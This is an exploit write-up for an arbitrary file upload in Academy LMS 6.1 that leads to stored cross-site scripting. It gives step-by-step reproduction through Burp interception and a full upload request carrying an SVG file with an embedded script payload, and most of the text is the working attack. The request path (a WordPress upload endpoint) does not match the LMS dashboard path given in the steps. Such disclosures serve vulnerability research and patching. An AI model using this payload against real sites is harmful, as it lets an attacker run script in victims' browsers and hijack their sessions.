# Exploit Title: Academy LMS 6.1 - Arbitrary File Upload # Exploit Author: CraCkEr # Date: 05/08/2023 # Vendor: Creativeitem # Vendor Homepage: https://academylms.net/ # Software Link: https://demo.academylms.net/ # Tested on: Windows 10 Pro # Impact: Allows User to upload files to the web server # CWE: CWE-79 - CWE-74 - CWE-707 ## Description Allows Attacker to upload malicious files onto the server, such as Stored XSS ## Steps to Reproduce: 1. Login as a [Normal User] 2. In [User Dashboard], go to [Profile Settings] on this Path: https://website/dashboard/#/settings 3. Upload any Image into the [avatar] 4. Capture the POST Request with [Burp Proxy Intercept] 5. Edit the file extension to .svg & inject your [Evil-Code] or [Stored XSS]   ----------------------------------------------------------- POST /wp-admin/async-upload.php HTTP/2 ----------------------------------------------------------- Content-Disposition: form-data; name="async-upload"; filename="ahacka.svg" Content-Type: image/svg+xml <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert("XSS by CraCkEr"); </script> </svg> ----------------------------------------------------------- 6. Send the Request 7. Capture the GET request from [Burp Logger] to get the Path of your Uploaded [Stored-XSS] 8. Access your Uploded Evil file on this Path: https://website/wp-content/uploads/***/**/*****.svg [-] Done